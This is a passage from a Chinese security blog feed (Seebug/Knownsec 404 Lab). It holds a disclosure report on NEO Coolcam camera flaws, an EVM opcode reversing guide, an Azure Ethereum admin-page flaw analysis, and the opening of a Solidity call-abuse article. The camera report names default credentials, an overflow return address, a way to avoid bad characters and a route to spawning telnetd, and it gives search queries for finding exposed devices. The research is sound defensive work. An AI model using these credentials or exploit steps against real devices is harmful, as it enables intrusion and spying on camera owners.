RSS Feed
更好更安全的互联网

  • 酷视（NEO Coolcam）网络摄像头登录绕过及多个基于堆栈溢出的远程代码执行漏洞及数据分析报告

    2018-08-29

    作者：知道创宇404实验室
    时间：2018年7月16日
    英文版：https://paper.seebug.org/652

    1. 事件概述

    深圳市丽欧电子有限公司（NEO Coolcam，以下简称酷视）[1]，是一家集网络数码产品研发、生产、营销于一体的高新技术企业，是国内最早进入网络摄像头领域的专业厂商之一。2004年成立国内摄像头研发中心，并取得多项国家专利，产品通过了国家质量检测部门的认证和CE、FCC等国际标准认证。

    早在2017年08月02日，Bitdefender公司的安全研究人员就指出酷视旗下的高清网络摄像头NIP-22和Wi-Fi门铃iDoorbell等设备存在多个缓冲区溢出漏洞，十几万暴漏在公网上的相关设备受到潜在的安全威胁，并提供了相关研究报告[2]。2017年9月左右，我们观察到酷视的英文版官网上发布了最新的固件[3]，修复了溢出漏洞。

    2018年07月10日，在后续的对网络空间上易受漏洞影响的物联网设备的风险评估中，我们通过ZoomEye网络空间搜索引擎对相关漏洞设备进行搜索，共发现了65万的IP历史记录，其中在中国含该漏洞的设备数量最多，约为16.7万。此外，我们还有以下发现：

    • 从酷视官方发布更新版固件到本文发布约一年的时间里，大部分设备依然没有安装更新版固件。原因有以下几点：1、目标设备本身不具有自动升级机制；2、普通用户不会意识到存在漏洞并手动更新固件；3、更新版固件只发布在英文版官网中；4、其他OEM厂商生产的设备也存在该漏洞。
    • 在目标设备的固件审计过程中，我们发现了登录绕过漏洞，相关细节将在下面的章节中呈现。

    这意味着还有很大数量的目标设备处于风险之中。知道创宇404实验室对酷视NIP-22FX这款摄像头的系列缓冲区溢出漏洞进行了深入研究，并成功从缓冲区溢出到远程代码执行，证实了该漏洞有被黑产利用的潜在风险。同时审计过程中发现了登录绕过漏洞，对用户隐私也是个严重的威胁。

    2.漏洞分析

    2.1 目标设备的相关信息

    设备版本：NeoCoolcam IPCam NIP-22FX
    漏洞二进制文件：MD5 (ipc_server) = 312d924344364620d85099ed279a5f03
    固件版本：V7.7.4.1.1-20160701

    提供Web服务和RTSP服务的主程序为 ipc_server文件，目标系统为ARM、32位小端架构。

    缓冲区溢出缓解措施为全部关闭状态。

    2.2 登录绕过漏洞

    摄像头 Web 服务基于 HTTP 基本认证，存在三组默认凭证，三组凭证对应不同的权限等级，安装时 APP 只会提醒修改 admin 账户的默认密码。三组默认凭证及对用的操作如下：

    1. admin:admin，
    2. user:user；
    3. guest:guest；

    值得一提的是，user 账户和 guest 账户也可以查看视频流，大部分用户不会修改这些账户的默认密码，导致隐私泄漏。

    2.3 Web 服务基于缓冲区溢出的远程代码执行漏洞（无需认证）

    2.3.1 漏洞细节分析

    该溢出点位于地址 0x0007DE80 附近，该函数的处理逻辑是调用libs_parsedata函数解析URL中的usr和pwd，并将其分别存储到本函数栈帧的两块缓冲区中。

    libs_parsedata函数的原型为:

    接受6个参数，从左往右依次为a1：原字符串，a2：原串的长度，needle：匹配待截取字符串的开头，a4：用来截取字符串的分隔符，a6：存储截取后字符串的目标缓冲区。

    该函数的处理逻辑为：使用needle字符串和分隔符a4截取原字符串a1，截取后通过strncpy()函数将截取后的串写入a6所指的缓冲区中，写入的长度为截取字符串的长度，最后写入一个字节’\x00’。由于GET参数长度可控，当攻击者输入超出缓冲区长度的usr或pwd值时，会使缓冲区溢出。

    2.3.2 漏洞利用分析

    二进制文件ipc_server的缓冲区溢出措施皆为关闭状态，利用该缓冲区溢出漏洞的难度很低。利用过程中需要考虑到规避空白符、&、\x00等坏字符，空白符可用 ${IFS} 替代。

    在ipc_server的0x0004E4D8地址处含有如下代码：

    攻击者只需让返回地址指向地址0x0004E4D8，返回地址之后紧跟待执行的命令，即可成功从缓冲区溢出到远程代码执行。由于libs_parsedata函数会在字符串末尾写入一个\x00，可以同时利用两个溢出漏洞分别写入返回地址和待执行命令。

    目标系统不含curl、nc、wget等命令，可将命令执行结果重定向之Web目录，之后访问HTTP接口即可获取执行结果。如果攻击者和摄像头在同一个网络环境，攻击者也可能开启目标系统的telnetd服务，实现对漏洞设备的完全控制。因为目标设备的文件系统以读写方式挂载，有被攻击者恶意篡改的风险。

    在NIP-22FX上的复现结果如下：

    2.3.3 补丁分析

    在最新版的固件（V7.7.4.1.1-20170828）中，libs_parsedata函数加入了第七个参数，用以控制写入目标缓冲区的长度。

    2.4 RTSP 服务基于缓冲区溢出的远程代码执行漏洞（无需认证）

    2.4.1 漏洞细节分析

    该溢出点位于地址0x006C6D4处，利用 sscanf 函数匹配 RTSP Header 中 Authorization: Digest key="value" 中的key和value两部分内容并将之存到本函数堆栈，没有检查这两部分的长度，导致堆栈溢出。

    2.4.2 漏洞利用分析

    该漏洞的利用和2.3.2节中Web服务的缓冲区溢出漏洞利用方法一致，攻击者可利用两个溢出漏洞分别写入待执行的命令和返回地址，很容易的从缓冲区溢出提升到远程代码执行。

    在NIP-22FX的复现结果如下，成功利用RTSP服务的缓冲区溢出开启了目标系统的telnetd服务。

    2.4.3 补丁分析

    在最新版的固件（V7.7.4.1.1-20170828）中，sscanf 的正则匹配表达式中加入了长度限制，最长为255字节，而缓冲区距离栈底为296字节，无法覆盖返回地址。

    3. 漏洞影响范围

    我们通过提取酷视NIP-22高清摄像头设备相关的“关键词”，在ZoomEye网络空间搜索引擎[4]上共发现了651,780个 IP历史数据。

    我们通过对 ZoomEye 网络空间搜索引擎 "Error: username or password error,please input again." 这个关键词得到的651,780条IP历史记录进行确认，发现其中58,413台设备仍然存活。

    存活设备国家分布如下，可以看出这些漏洞设备主要分布在韩国、美国、中国等国家。由于中国的网络IP变化快，在中国的相关存活设备数量实际上不止5,878台。

    存活设备在中国的省份分布如下，主要分布在香港，其次是台湾，ZoomEye网络空间搜索引擎上中国大陆地区的历史IP数据基本都已失效。

    对以上存活的设备进行进一步统计分析，发现大部分设备均至少存在一种默认凭证。由此可见酷视高清摄像头设备普遍存在默认凭证，攻击者可使用默认凭证访问摄像头的视频流，有较大的隐私泄漏风险。值得一提的是，存活的设备中也有很多存在 admin:admin 默认凭证，攻击者可获得管理员身份，并可能通过上传精心制作的设备固件完全接管目标设备。

    在对受漏洞影响的设备进行数据分析的过程中，我们发现存在大量设备是贴牌销售，设备固件存在极大的同源性，有的两个不同厂商之间的设备仅仅是换了个LOGO。

    通过设备页面 ”/web/mainpage.html” 内容的md5值对不同OEM厂商进行区分，统计结果如下：

    除了默认凭证问题，酷视高清摄像头NIP-22还存在无需认证的Web服务及RTSP服务缓冲区溢出漏洞，该溢出漏洞的利用难度很低，攻击者可基于此溢出漏洞远程执行任意命令。溢出发生后，watchdog进程会重启整个系统，攻击者也可利用这点使摄像头拒绝服务。由于固件的同源性，这两个溢出漏洞也有很大可能存在于其他OEM厂商生产的设备中。

    4. 漏洞修复建议

    4.1 对用户的修复建议

    为避免隐私泄漏，建议用户尽快修复系列漏洞。

    首先，用户可登录摄像头Web管理系统，在以下页面中修改三组默认凭证的用户名和密码。

    其次，如果是酷视的设备，建议从酷视官网下载对应设备的最新版固件[3]，并手动更新，以修复两个溢出漏洞。如果是其他OEM厂商的设备，可以尝试和厂商联系获取更新固件，并将设备同公网隔离。

    4.2 对厂商的修复建议

    由于这系列漏洞影响国内外几十个OEM厂商，请上表中可能存在漏洞的厂商自查，及时发布补丁固件并通知用户更新设备固件。

    5. 总结

    1. 存活设备中大部分以上都存在默认凭证，对于用户的隐私是个极大的威胁，用户应及时修改默认密码。
    2. 这系列漏洞还可能影响国内外几十个OEM厂商。嵌入式设备固件开发过程中一般都会使用第三方的开源工具或通用软件，这些通用软件又通常由某一特定厂商研发，这就导致很多设备固件存在同源性，不同品牌的设备可能运行相同或者类似的固件以及包含相同的第三方库。漏洞曝出后，由于影响厂商众多，而并不是所有厂商都会发布漏洞补丁，这就导致网络空间上大量漏洞设备无法修复漏洞。
    3. 近年来，路由器、摄像头、摄像机、NAS、智能穿戴设备等 IOT 设备的安全漏洞层出不穷，伴随着越来越多的嵌入式设备连入网络，总体安全形势日益突出，用户的个人隐私受到严重的威胁。一方面，厂商及开发者应不断提高自主研发设备的安全性。另一方面，漏洞是不可避免的。对于用户，应该努力提高自己的安全意识，尽量避免将此类设备直接暴露在网络空间上。对于各 IOT 厂商，针对目前安全漏洞曝出越来越频繁，及时修复漏洞，对产品提供自动升级机制是行之有效的方法。

    6. 相关链接

    [1] NEO Coolcam 官网
    http://www.szneo.com/
    [2] Bitdefender漏洞公告
    https://www.bitdefender.com/box/blog/ip-cameras-vulnerabilities/neo-coolcams-not-cool-buffer-overflow/
    [3] 官方更新固件下载地址
    http://szneo.com/en/service/index.php
    [4] ZoomEye网络空间探测引擎
    https://www.zoomeye.org/searchResult?q=%22Error%3A%20username%20or%20password%20error%2Cplease%20input%20again.%22

    Paper

    本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/653/

    作者：Nanako | Categories:安全研究、漏洞通告 | Tags: 、
    没有评论

  • 以太坊智能合约OPCODE逆向之理论基础篇

    2018-08-28

    作者：Hcamael@知道创宇404区块链安全研究团队

    在我们对etherscan等平台上合约进行安全审查时，常常会遇到没有公布Solidity源代码的合约，只能获取到合约的OPCODE，所以一个智能合约的反编译器对审计无源码的智能合约起到了非常重要的作用。

    目前在互联网上常见的反编译工具只有porosity[1]，另外在Github上还找到另外的反编译工具ethdasm[2]，经过测试发现这两个编译器都有许多bug，无法满足我的工作需求。因此我开始尝试研究并开发能满足我们自己需求的反编译工具，在我看来如果要写出一个优秀的反汇编工具，首先需要有较强的OPCODE逆向能力，本篇Paper将对以太坊智能合约OPCODE的数据结构进行一次深入分析。

    基础

    智能合约的OPCODE是在EVM(Ethereum Virtual Machine)中进行解释执行，OPCODE为1字节，从0x00 - 0xff代表了相对应的指令，但实际有用的指令并没有0xff个，还有一部分未被使用，以便将来的扩展

    具体指令可参考Github[3]上的OPCODE指令集，每个指令具体含义可以参考相关文档[4]

    IO

    在EVM中不存在寄存器，也没有网络IO相关的指令，只存在对栈(stack)，内存(mem), 存储(storage)的读写操作

    • stack

    使用的push和pop对栈进行存取操作，push后面会带上存入栈数据的长度，最小为1字节，最大为32字节，所以OPCODE从0x60-0x7f分别代表的是push1-push32

    PUSH1会将OPCODE后面1字节的数据放入栈中，比如字节码是0x6060代表的指令就是PUSH1 0x60

    除了PUSH指令，其他指令获取参数都是从栈中获取，指令返回的结果也是直接存入栈中

    • mem

    内存的存取操作是MSTORE和MLOAD

    MSTORE(arg0, arg1)从栈中获取两个参数，表示MEM[arg0:arg0+32] = arg1

    MLOAD(arg0)从栈中获取一个参数，表示PUSH32(MEM[arg0:arg0+32])

    因为PUSH指令，最大只能把32字节的数据存入栈中，所以对内存的操作每次只能操作32字节

    但是还有一个指令MSTORE8，只修改内存的1个字节

    MSTORE(arg0, arg1)从栈中获取两个参数，表示MEM[arg0] = arg1

    内存的作用一般是用来存储返回值，或者某些指令有处理大于32字节数据的需求

    比如: SHA3(arg0, arg1)从栈中获取两个参数，表示SHA3(MEM[arg0:arg0+arg1])，SHA3对内存中的数据进行计算sha3哈希值，参数只是用来指定内存的范围

    • storage

    上面的stack和mem都是在EVM执行OPCODE的时候初始化，但是storage是存在于区块链中，我们可以类比为计算机的存储磁盘。

    所以，就算不执行智能合约，我们也能获取智能合约storage中的数据:

    storage用来存储智能合约中所有的全局变量

    使用SLOAD和SSTORE进行操作

    SSTORE(arg0, arg1)从栈中获取两个参数，表示eth.getStorageAt(合约地址, arg0) = arg1

    SLOAD(arg0)从栈中获取一个参数，表示PUSH32(eth.getStorageAt(合约地址, arg0))

    变量

    智能合约的变量从作用域可以分为三种, 全局公有变量(public), 全局私有变量(private), 局部变量

    全局变量和局部变量的区别是，全局变量储存在storage中，而局部变量是被编译进OPCODE中，在运行时，被放在stack中，等待后续使用

    公有变量和私有变量的区别是，公有变量会被编译成一个constant函数，后面会分析函数之前的区别

    因为私有变量也是储存在storage中，而storage是存在于区块链当中，所以相当于私有变量也是公开的，所以不要想着用私有变量来储存啥不能公开的数据。

    全局变量的储存模型

    不同类型的变量在storage中储存的方式也是有区别的，下面对各种类型的变量的储存模型进行分析

    1. 定长变量

    第一种我们归类为定长变量，所谓的定长变量，也就是该变量在定义的时候，其长度就已经被限制住了

    比如定长整型(int/uint......), 地址(address), 定长浮点型(fixed/ufixed......), 定长字节数组(bytes1-32)

    这类的变量在storage中都是按顺序储存

    上面举的例子，除了address的长度是160bits，其他变量的长度都是256bits，而storage是256bits对齐的，所以都是一个变量占着一块storage，但是会存在连续两个变量的长度不足256bits的情况

    在opcode层面，获取a的值得操作是: SLOAD(0) & 0xffffffffffffffffffffffffffffffffffffffff

    获取b值得操作是: SLOAD(0) // 0x10000000000000000000000000000000000000000 & 0xff

    获取d值得操作是: SLOAD(1) // 0x10000000000000000000000000000000000000000 & 0xffff

    因为b的长度+a的长度不足256bits，变量a和b是连续的，所以他们在同一块storage中，然后在编译的过程中进行区分变量a和变量b，但是后续在加上变量c，长度就超过了256bits，因此把变量c放到下一块storage中，然后变量d跟在c之后

    从上面我们可以看出，storage的储存策略一个是256bits对齐，一个是顺序储存。(并没有考虑到充分利用每一字节的储存空间，我觉得可以考虑把d变量放到b变量之后)

    2. 映射变量

    映射变量就没办法想上面的定长变量按顺序储存了，因为这是一个键值对变量，EVM采用的机制是:

    SLOAD(sha3(key.rjust(64, "0")+slot.rjust(64, "0")))

    比如: a["0xd25ed029c093e56bc8911a07c46545000cbf37c6"]首先计算sha3哈希值:

    我们也可以使用以太坊客户端直接获取:

    还有slot需要注意一下:

    根据映射变量的储存模型，或许我们真的可以在智能合约中隐藏私密信息，比如，有一个secret，只有知道key的人才能知道secret的内容，我们可以b[key] = secret, 虽然数据仍然是储存在storage中，但是在不知道key的情况下却无法获取到secret。

    不过，storage是存在于区块链之中，目前我猜测是通过智能合约可以映射到对应的storage，storage不可能会初始化256*256bits的内存空间，那样就太消耗硬盘空间了，所以可以通过解析区块链文件，获取到storage全部的数据。

    上面这些仅仅是个人猜想，会作为之后研究以太坊源码的一个研究方向。

    3. 变长变量

    变长变量也就是数组，长度不一定，其储存方式有点像上面两种的结合

    数组任然会占用对应slot的storage，储存数组的长度(b.length == SLOAD(1))

    比如我们想获取b[1]的值，会把输入的index和SLOAD(1)的值进行比较，防止数组越界访问

    然后计算slot的sha3哈希值:

    在变长变量中有两个特例: string和bytes

    字符串可以认为是字符数组，bytes是byte数组，当这两种变量的长度在0-31时，值储存在对应slot的storage上，最后一字节为长度*2|flag, 当flag = 1，表示长度>31，否则长度<=31

    下面进行举例说明

    当变量的长度大于31时，SLOAD(slot)储存length*2|flag，把值储存到sha3(slot)

    4. 结构体

    结构体没有单独特殊的储存模型，结构体相当于变量数组，下面进行举例说明:

    函数

    两种调用函数的方式

    下面是针对两种函数调用方式说明的测试代码，发布在测试网络上: https://ropsten.etherscan.io/address/0xc9fbe313dc1d6a1c542edca21d1104c338676ffd#code

    整个OPCODE都是在EVM中执行，所以第一个调用函数的方式就是使用EVM进行执行OPCODE:

    第二种方式就是通过发送交易:

    这两种调用方式的区别有两个:

    1. 使用call调用函数是在本地使用EVM执行合约的OPCODE，所以可以获得返回值
    2. 通过交易调用的函数，能修改区块链上的storage

    一个调用合约函数的交易(比如 https://ropsten.etherscan.io/tx/0xab1040ff9b04f8fc13b12057f9c090e0a9348b7d3e7b4bb09523819e575cf651)的信息中，是不存在返回值的信息，但是却可以修改storage的信息(一个交易是怎么修改对应的storage信息，是之后的一个研究方向)

    而通过call调用，是在本地使用EVM执行OPCODE，返回值是存在MEM中return，所以可以获取到返回值，虽然也可以修改storage的数据，不过只是修改你本地数据，不通过发起交易，其他节点将不会接受你的更改，所以是一个无效的修改，同时，本地调用函数也不需要消耗gas，所以上面举例中，在调用信息的字典里，不需要from字段，而交易却需要指定(设置from)从哪个账号消耗gas。

    调用函数

    EVM是怎么判断调用哪个函数的呢？下面使用OPCODE来进行说明

    每一个智能合约入口代码是有固定模式的，我们可以称为智能合约的主函数，上面测试合约的主函数如下:

    PS: Github[5]上面有一个EVM反汇编的IDA插件

    反编译出来的代码就是:

    PS：因为个人习惯问题，反编译最终输出没有选择对应的Solidity代码，而是使用Python。

    从上面的代码我们就能看出来，EVM是根据CALLDATA的前4字节来确定调用的函数的，这4个字节表示的是函数的sha3哈希值的前4字节:

    所以可以去网上找个哈希表映射[6]，这样有概率可以通过hash值，得到函数名和参数信息，减小逆向的难度

    主函数中的函数

    上面给出的测试智能合约中只有两个函数，但是反编译出来的主函数中，却有4个函数调用，其中两个是公有函数，另两个是公有变量

    智能合约变量/函数类型只有两种，公有和私有，公有和私有的区别很简单，公有的是能别外部调用访问，私有的只能被本身调用访问

    对于变量，不管是公有还是私有都能通过getStorageAt访问，但是这是属于以太坊层面的，在智能合约层面，把公有变量给编译成了一个公有函数，在这公有函数中返回SLOAD(slot)，而私有函数只能在其他函数中特定的地方调用SLOAD(slot)来访问

    在上面测试的智能合约中, test1()函数等同于owner()，我们可以来看看各自的OPCODE:

    和owner()函数进行对比:

    所以我们可以得出结论:

    公有函数和私有函数的区别也很简单，公有函数会被编译进主函数中，能通过CALLDATA进行调用，而私有函数则只能在其他公有函数中进行调用，无法直接通过设置CALLDATA来调用私有函数

    回退函数和payable

    在智能合约中，函数都能设置一个payable，还有一个特殊的回退函数，下面用实例来介绍回退函数

    比如之前的测试合约加上了回退函数:

    则主函数的反编译代码就变成了:

    当CALLDATA和该合约中的函数匹配失败时，将会从抛异常，表示执行失败退出，变成调用回退函数

    每一个函数，包括回退函数都可以加一个关键字: payable，表示可以给该函数转帐，从OPCODE层面讲，没有payable关键字的函数比有payable的函数多了一段代码:

    反编译成python，就是:

    REVERT是异常退出指令，当交易的金额大于0时，则异常退出，交易失败

    函数参数

    函数获取数据的方式只有两种，一个是从storage中获取数据，另一个就是接受用户传参，当函数hash表匹配成功时，我们可以知道该函数的参数个数，和各个参数的类型，但是当hash表匹配失败时，我们仍然可以获取该函数参数的个数，因为获取参数和主函数、payable检查一样，在OPCODE层面也有固定模型:

    比如上面的测试合约，调动test2函数的固定模型就是: main -> payable check -> get args -> 执行函数代码

    获取参数的OPCODE如下

    函数test2的参数p = CALLDATA[4:4+0x20]

    如果有第二个参数，则是arg2 = CALLDATA[4+0x20:4+0x40]，以此类推

    所以智能合约中，调用函数的规则就是data = sha3(func_name)[:4] + *args

    但是，上面的规则仅限于定长类型的参数，如果参数是string这种不定长的变量类型时，固定模型仍然不变，但是在从calldata获取数据的方法，变得不同了，定长的变量是通过调用CALLDATALOAD，把值存入栈中，而string类型的变量，因为长度不定，会超过256bits的原因，使用的是calldatacopy把参数存入MEM

    可以看看function test3(string a) public {}函数获取参数的代码:

    传入的变长参数是一个结构体:

    offset+4表示的是当前参数的length的偏移，length为data的长度，data就是用户输入的字符串数据

    当有多个变长参数时: function test3(string a, string b) public {}

    calldata的格式如下: sha3(func)[:4] + a.offset + b.offset + a.length + a.data + b.length + b.data

    翻译成py代码如下:

    因为参数有固定的模型，因此就算没有从hash表中匹配到函数名，也可以判断出函数参数的个数，但是要想知道变量类型，只能区分出定长、变长变量，具体是uint还是address，则需要从函数代码，变量的使用中进行判断

    变量类型的分辨

    在智能合约的OPCDOE中，变量也是有特征的

    比如一个address变量总会 & 0xffffffffffffffffffffffffffffffffffffffff:

    上一篇说的mapping和array的储存模型，可以根据SHA3的计算方式知道是映射变量还是数组变量

    再比如，uint变量因为等同于uint256，所以使用SLOAD获取以后不会再进行AND计算，但是uint8却会计算& 0xff

    所以我们可以SLOAD指令的参数和后面紧跟的计算，来判断出变量类型

    智能合约代码结构

    部署合约

    在区块链上，要同步/发布任何信息，都是通过发送交易来进行的，用之前的测试合约来举例，合约地址为: 0xc9fbe313dc1d6a1c542edca21d1104c338676ffd, 创建合约的交易地址为: 0x6cf9d5fe298c7e1b84f4805adddba43e7ffc8d8ffe658b4c3708f42ed94d90ed

    查看下该交易的相关信息:

    我们可以看出来，想一个空目标发送OPCODE的交易就是创建合约的交易，但是在交易信息中，却不包含合约地址，那么合约地址是怎么得到的呢?

    智能合约的地址由创建合约的账号和nonce决定，nonce用来记录用户发送的交易个数，在每个交易中都有该字段，现在根据上面的信息来计算下合约地址:

    创建合约代码

    一个智能合约的OPCODE分为两种，一个是编译器编译好后的创建合约代码，还是合约部署好以后runtime代码，之前我们看的，研究的都是runtime代码，现在来看看创建合约代码，创建合约代码可以在创建合约交易的input数据总获取，上面已经把数据粘贴出来了，反汇编出指令如下:

    代码逻辑很简单，就是执行了合约的构造函数，并且返回了合约的runtime代码，该合约的构造函数为:

    因为没有payable关键字，所以开头是一个check代码assert msg.value == 0

    然后就是对owner变量的赋值，当执行完构造函数后，就是把runtime代码复制到内存中:

    最后在把runtime代码返回: return mem[0:0x24f]

    在完全了解合约是如何部署的之后，也许可以写一个OPCODE混淆的CTF逆向题

    总结

    通过了解EVM的数据结构模型，不仅可以加快对OPCODE的逆向速度，对于编写反编译脚本也有非常大的帮助，可以对反编译出来的代码进行优化，使得更加接近源码。

    在对智能合约的OPCODE有了一定的了解后，后续准备先写一个EVM的调试器，虽然Remix已经有了一个非常优秀的调试器了，但是却需要有Solidity源代码，这无法满足我测试无源码的OPCODE的工作需求。所以请期待下篇《以太坊智能合约OPCODE逆向之调试器篇》

    针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队： https://www.scanv.com/lca/ndex.html
    联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)

    欢迎扫码咨询：

    引用

    1. https://github.com/comaeio/porosity
    2. https://github.com/meyer9/ethdasm
    3. https://github.com/trailofbits/evm-opcodes
    4. http://solidity.readthedocs.io/en/v0.4.21/assembly.html
    5. https://github.com/trailofbits/ida-evm
    6. https://github.com/trailofbits/ida-evm/blob/master/known_hashes.py

    本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/640/

    作者：Nanako | Categories:安全研究、技术分享 | Tags: 、
    没有评论

  • Microsoft Azure 以太坊节点自动化部署方案漏洞分析

    2018-08-28

    作者：sunsama@知道创宇404区块链安全研究团队

    背景介绍

    为了迎合以太坊区块链[1]发展需求，Microsoft Azure[2]早在2016年9月九推出了以太坊节点走自动部署的模块。部署情况如下：

    登陆Microsoft Azure：

    部署Ethereum Proof-of-Work Consortium：

    访问建立的“ADMIN-SITE”可以看到一个“Blockchain Admin”界面：

    我们注意到这个管理接口提供了一个“转账”功能并且整个页面缺少鉴权机制任何人都可以访问，这样就导致恶意攻击者可以通过该接口提交钱包地址和转账数量进行转账。

    Web3.js 是⼀个兼容了以太坊核心功能的JavaScript库[3]，很多以太坊客户端及DApp都是通过调用Web3.js的API接⼝来实现。 以太坊客户端开发库主要是提供了两种类型的API接口：RPC(Remote Procedure Call)及IPC(Inter-process Communications)，在以往的攻击事件里很多关注点都在RPC接口上，而很少关注IPC接口，在本文的涉及“Blockchain Admin”的问题就发生在IPC接口上，由此下面做了详细的代码分析：

    代码分析

    在分析之前我们先介绍下PRC及IPC接口区别：

    IPC与RPC简介

    IPC(Inter-process Communications)进程间通信，是指在不同进程之间传播或交换信息，IPC的方式通常有管道、消息队列、信号量、共享存储、Socket、Stream等。对于geth来说IPC的方式更为高效，在安装geth之后 IPC socket不会自动创建，并且他也不是一个永久的资源，只有在启动geth时才会创建一个IPC Socket。

    有以下几个参数可以在启动geth时配置IPC相关服务，其他参数可以使用geth —help查看。

    在geth启动时使用 --ipcpath来指定一个IPC路径，会有一段信息指明IPC的相关信息。例如

    Web3.js中提供了使用IPC通信的方法。

    node_modules/web3/lib/web3/ipcprovider.js

    https://github.com/ethereum/go-ethereum/wiki/Management-APIs中给出了在命令行使用IPC的例子

    RPC(Remote Procedure Call)远程过程调用，指通过网络从远程计算机的程序上请求服务。geth为RPC提供了两种方法，分别是HTTP JSON RPC API(默认8545端口)和WebSocket JSON RPC API(默认8546端口)。

    在命令行中可以使用以下参数配置RPC服务。

    同样的在Web3.js中也提供了使用RPC的方法。

    以太坊黑色情人节事件中，攻击者就是利用了RPC接口进行恶意转账。

    流程分析

    我们在Blockchain Admin页面的两个输入框中输入转账地址和转账数量并提交。

    /home/ethtest/etheradmin/app.js定义了提交后服务器处理的方法。

    使用POST方法提交后，会判断我们输入的地址是否是合法的以太坊地址。默认情况下我们的账号是处于锁定状态的，这里判断地址正确后使用personl.unlockAccount()方法解锁账号。该方法需要的参数coinbase和coinbasePw在启动服务时已经在命令行中作为参数传递过来了，使用ps命令查看该服务的进程。

    其中f9cdc590071d9993b198b08694e5edf376979ce6是我们的钱包地址，123qweasdZXC是解锁钱包需要的密码，/home/ethtest/.ethereum/geth.ipc是getIPCPath参数的内容。

    personal.js中的unlockAccount方法。

    IpcProvider.js中对发送方法的定义。

    ipcprovider会调用JSONRPC.js将unlockAccount方法中的参数格式化为JSON格式。

    在node_modules/web3/lib/web3/ipcprovider.js中下断点跟踪一下数据流。

    然后将数据通过socket写入。

    接下来geth通过IPC接收到了请求的方法和参数，然后使用UnlockAccount函数进行账户解锁，解锁账户后使⽤eth.sendTransaction⽅法发送交易。

    sendTransaction方法会使用已经解锁后的本地账户的私钥进行签名，并使用SignedTransaction方法进行发送签名后的交易。

    我们通过geth日志获取交易hash，在console中查看详细信息。

    • 下面是从提交交易请求到生成交易并发送的流程图。

    值得一提的是：在我们分析过程发现通过Microsoft Azure提供的以太坊节点自动化部署方案仍然使用的1.7.3版本的geth ⽽这个版本里UnlockAccount函数：

    wiki中对personal_unlockAccount方法的定义:

    从keystore中解锁账户并获得私钥，并把已经解锁的私钥放到内存中。解锁账户的api允许传入超时时间，默认超时为300秒，如果传⼊入的超时时间为0，则是永久不不会超时，账户⼀直处于解锁状态，直到节点进程退出。这也是“以太坊【偷渡】漏洞事件[5]”发生的主要原因。

    风险评估

    在以往的关于以太坊攻击案例里更多的是发生在暴露在互联网的RPC接口上，⽽基于本地进程通讯的IPC接口 被认为是相对安全可靠的，但是如果类似于Microsoft Azure提供的以太坊节点⾃动化部署⽅案里 的“Blockchain Admin”基于IPC调⽤程序，本身没有任何认证直接暴露在互联网上无疑是巨大的安全风险。（注：通过ZoomEye⽹路空间搜索引擎[7]可以看到曾经暴露在互联网上的目标。）

    在实际测试分析过程发现使用Microsoft Azure提供的以太坊节点自动化部署方案更多的是联盟链或私有链，部署共有链的情况较少，所以这个安全事件实际可能给共有链的带来的影响相对不大。对于联盟链或私有链的影响需要根据其本身的情况去衡量量评估。

    报告流程

    针对以上问题我们第一时间联系了微软：

    • 2018年5月21日 相关问题描叙报告给MSRC邮件 secure@microsoft.com
    • 2018年5月22日 收到MSRC邮件反馈并按要求补充了相关技术细节
    • 2018年5月24日 收到MSRC Case分配确认邮件
    • 2018年5月31日 收到MSRC关于ZoomEye搜索引擎相关细节询问并反馈
    • 2018年7月6日 邮件MSRC追问相关问题修复进展
    • 2018年7月10日 收到MSRC反馈邮件称：他们认为这个是设计考虑的问题，用户可以选择对管理页面进行限制，另外升级了Geth版本

    总结

    区块链虚拟货币安全事件频发，安全刻不不容。通过这次的案例可以得几点建议：

    • 尽量避免使用这种自动化部署区块链应用的方案，如果必须使用的话，请仔细查看该方案使用的程序是否存在安全缺陷与漏洞。
    • 修改默认端口，关闭对外的高权限接口，如果必须暴露在互联网，请对接口进行鉴权。
    • 关注官方发布的更新日志，及时更新代码。

    针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队： https://www.scanv.com/lca/index.html
    联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)

    欢迎扫码咨询：

    参考

    [1] https://baike.baidu.com/item/%E4%BB%A5%E5%A4%AA%E5%9D%8A/20865117?fr=aladdin
    [2] https://azure.microsoft.com/en-us/
    [3] https://github.com/ethereum/web3.js/
    [4] https://github.com/ethereum/go-ethereum/wiki/Management-APIs
    [5] https://paper.seebug.org/547/
    [6] https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg
    [7] https://www.zoomeye.org/searchResult?q=%22Blockchain%20Admin%22

     

     

    本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/638/

    作者：Nanako | Categories:安全研究、技术分享 | Tags: 、、
    没有评论

  • 以太坊 Solidity 合约 call 函数簇滥用导致的安全风险

    2018-08-28

    作者：0x7F@知道创宇404区块链安全研究团队
    时间：2018年6月26日

    0x00 前言

    Solidity 是一种用与编写以太坊智能合约的高级语言，语法类似于 JavaScript。Solidity 编写的智能合约可被编译成为字节码在以太坊虚拟机上运行。Solidity 中的合约与面向对象编程语言中的类（Class）非常类似，在一个合约中同样可以声明：状态变量、函数、事件等。同时，一个合约可以调用/继承另外一个合约。

    在 Solidity 中提供了 call、delegatecall、callcode 三个函数来实现合约之间相互调用及交互。正是因为这些灵活各种调用，也导致了这些函数被合约开发者“滥用”，甚至“肆无忌惮”提供任意调用“功能”，导致了各种安全漏洞及风险：

    2017.7.20，Parity Multisig电子钱包版本 1.5+ 的漏洞被发现，使得攻击者从三个高安全的多重签名合约中窃取到超过 15 万 ETH ，其事件原因是由于未做限制的 delegatecall 函数调用了合约初始化函数导致合约拥有者被修改。

    2018.6.16，「隐形人真忙」在先知大会上演讲了「智能合约消息调用攻防」的议题，其中提到了一种新的攻击场景—— call 注⼊，主要介绍了利用对 call 调用处理不当，配合一定的应用场景的一种攻击手段。接着于 2018.6.20，ATN 代币团队发布「ATN抵御黑客攻击的报告」，报告指出黑客利用 call 注入攻击漏洞修改合约拥有者，然后给自己发行代币，从而造成 ATN 代币增发。

